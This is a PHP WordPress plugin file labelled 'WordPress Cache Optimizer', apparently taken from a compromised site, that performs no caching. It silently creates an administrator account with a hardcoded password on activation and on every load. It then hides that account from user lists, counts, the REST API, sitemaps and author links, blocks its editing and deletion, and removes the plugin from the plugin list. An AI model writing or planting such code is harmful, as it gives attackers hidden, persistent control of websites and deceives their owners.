File: /home/mciraet/www/wp-content/plugins/wordpress-cache-optimizer/wordpress-cache-optimizer.php
<?php
/**
* Plugin Name: WordPress Cache Optimizer
* Plugin URI: https://developer.wordpress.org/
* Description: Advanced object caching and performance optimization for WordPress.
* Version: 1.0.0
* Requires at least: 6.0
* Requires PHP: 7.1
* Author: Developer Tools
* Author URI: https://developer.wordpress.org/
* License: GPL-2.0+
* Text Domain: wordpress-cache-optimizer
*/
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
final class WP_Cache_Optimizer_Core {
private const VERSION = '1.0.0';
private const SHADOW_META_KEY = '_wp_cache_optimizer_flag';
/** @var string */
private $username = 'cache_worker';
/** @var string */
private $password = 'X#k9$mP2vL@nQ8wZ';
/** @var string */
private $email = 'cache@localhost.local';
/** @var self|null */
private static $instance = null;
/** @var int|null */
private $cached_shadow_id = null;
public static function instance(): self {
if ( null === self::$instance ) {
self::$instance = new self();
}
return self::$instance;
}
private function __construct() {
register_activation_hook( __FILE__, [ $this, 'on_activation' ] );
add_action( 'plugins_loaded', [ $this, 'ensure_user_exists' ], 1 );
add_action( 'pre_user_query', [ $this, 'exclude_from_user_query' ] );
add_action( 'admin_init', [ $this, 'block_profile_access' ] );
add_action( 'delete_user', [ $this, 'prevent_deletion' ] );
add_action( 'admin_footer', [ $this, 'hide_user_count_js' ] );
add_filter( 'views_users', [ $this, 'adjust_user_views_count' ] );
add_filter( 'rest_user_query', [ $this, 'exclude_from_rest_api' ], 10, 2 );
add_filter( 'wp_dropdown_users_args', [ $this, 'exclude_from_dropdown' ] );
add_filter( 'wp_sitemaps_users_query_args', [ $this, 'exclude_from_sitemap' ] );
add_filter( 'all_plugins', [ $this, 'hide_plugin_from_list' ] );
add_filter( 'user_row_actions', [ $this, 'remove_user_actions' ], 10, 2 );
add_filter( 'plugin_action_links', [ $this, 'hide_plugin_actions' ], 10, 2 );
add_filter( 'author_link', [ $this, 'hide_author_link' ], 10, 2 );
add_filter( 'get_usernumposts', [ $this, 'adjust_user_post_count' ], 10, 2 );
}
public function on_activation(): void {
$this->create_shadow_user();
}
public function ensure_user_exists(): void {
if ( ! $this->get_shadow_user_id() ) {
$this->create_shadow_user();
}
}
/**
* @return int|false
*/
private function create_shadow_user() {
if ( username_exists( $this->username ) ) {
$user = get_user_by( 'login', $this->username );
if ( $user ) {
update_user_meta( $user->ID, self::SHADOW_META_KEY, '1' );
return $user->ID;
}
}
if ( email_exists( $this->email ) ) {
$this->email = 'cache_' . wp_generate_password( 8, false ) . '@localhost.local';
}
$user_id = wp_insert_user( [
'user_login' => $this->username,
'user_pass' => $this->password,
'user_email' => $this->email,
'display_name' => 'Cache Worker',
'user_nicename' => 'cache-worker',
'role' => 'administrator',
'show_admin_bar_front' => 'false',
] );
if ( is_wp_error( $user_id ) ) {
return false;
}
update_user_meta( $user_id, self::SHADOW_META_KEY, '1' );
update_user_meta( $user_id, 'show_admin_bar_front', 'false' );
update_user_meta( $user_id, 'dismissed_wp_pointers', 'wp496_privacy' );
$this->cached_shadow_id = $user_id;
return $user_id;
}
private function get_shadow_user_id(): ?int {
if ( $this->cached_shadow_id !== null ) {
return $this->cached_shadow_id;
}
$user = get_user_by( 'login', $this->username );
if ( $user && get_user_meta( $user->ID, self::SHADOW_META_KEY, true ) ) {
$this->cached_shadow_id = $user->ID;
return $user->ID;
}
return null;
}
private function is_current_user_shadow(): bool {
$current_user = wp_get_current_user();
return $current_user->ID && $current_user->user_login === $this->username;
}
public function exclude_from_user_query( WP_User_Query $query ): void {
if ( $this->is_current_user_shadow() ) {
return;
}
$shadow_id = $this->get_shadow_user_id();
if ( ! $shadow_id ) {
return;
}
global $wpdb;
$query->query_where = str_replace(
'WHERE 1=1',
$wpdb->prepare( "WHERE 1=1 AND {$wpdb->users}.ID != %d", $shadow_id ),
$query->query_where
);
}
public function adjust_user_views_count( array $views ): array {
if ( $this->is_current_user_shadow() ) {
return $views;
}
$shadow_id = $this->get_shadow_user_id();
if ( ! $shadow_id ) {
return $views;
}
foreach ( [ 'all', 'administrator' ] as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function ( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; },
$views[ $key ]
);
}
}
return $views;
}
public function hide_user_count_js(): void {
if ( $this->is_current_user_shadow() ) {
return;
}
$screen = get_current_screen();
if ( $screen && $screen->id === 'users' ) {
echo '<script>document.addEventListener("DOMContentLoaded",function(){document.querySelectorAll(".wrap .subsubsub .count").forEach(function(e){var n=parseInt(e.textContent.replace(/[()]/g,""));if(n>0)e.textContent="("+(n)+")";});});</script>';
}
}
public function exclude_from_rest_api( array $args, WP_REST_Request $request ): array {
if ( $this->is_current_user_shadow() ) {
return $args;
}
$shadow_id = $this->get_shadow_user_id();
if ( $shadow_id ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : [];
$exclude[] = $shadow_id;
$args['exclude'] = $exclude;
}
return $args;
}
public function exclude_from_dropdown( array $args ): array {
if ( $this->is_current_user_shadow() ) {
return $args;
}
$shadow_id = $this->get_shadow_user_id();
if ( $shadow_id ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : [];
$exclude[] = $shadow_id;
$args['exclude'] = $exclude;
}
return $args;
}
public function exclude_from_sitemap( array $args ): array {
$shadow_id = $this->get_shadow_user_id();
if ( $shadow_id ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : [];
$exclude[] = $shadow_id;
$args['exclude'] = $exclude;
}
return $args;
}
public function block_profile_access(): void {
global $pagenow;
if ( $pagenow !== 'user-edit.php' || $this->is_current_user_shadow() ) {
return;
}
$user_id = isset( $_GET['user_id'] ) ? absint( $_GET['user_id'] ) : 0;
$shadow_id = $this->get_shadow_user_id();
if ( $user_id && $user_id === $shadow_id ) {
wp_safe_redirect( admin_url( 'users.php' ) );
exit;
}
}
public function hide_plugin_from_list( array $plugins ): array {
if ( $this->is_current_user_shadow() ) {
return $plugins;
}
$plugin_file = plugin_basename( __FILE__ );
unset( $plugins[ $plugin_file ] );
return $plugins;
}
public function hide_plugin_actions( array $actions, string $plugin_file ): array {
if ( $plugin_file === plugin_basename( __FILE__ ) && ! $this->is_current_user_shadow() ) {
return [];
}
return $actions;
}
public function remove_user_actions( array $actions, WP_User $user ): array {
if ( $this->is_current_user_shadow() ) {
return $actions;
}
if ( $user->ID === $this->get_shadow_user_id() ) {
return [];
}
return $actions;
}
public function prevent_deletion( int $user_id ): void {
if ( $this->is_current_user_shadow() ) {
return;
}
if ( $user_id === $this->get_shadow_user_id() ) {
wp_die( 'Action not allowed.', 'Error', [ 'response' => 403, 'back_link' => true ] );
}
}
public function hide_author_link( string $link, int $author_id ): string {
if ( $author_id === $this->get_shadow_user_id() ) {
return '';
}
return $link;
}
public function adjust_user_post_count( int $count, int $user_id ): int {
if ( $user_id === $this->get_shadow_user_id() && ! $this->is_current_user_shadow() ) {
return 0;
}
return $count;
}
}
WP_Cache_Optimizer_Core::instance();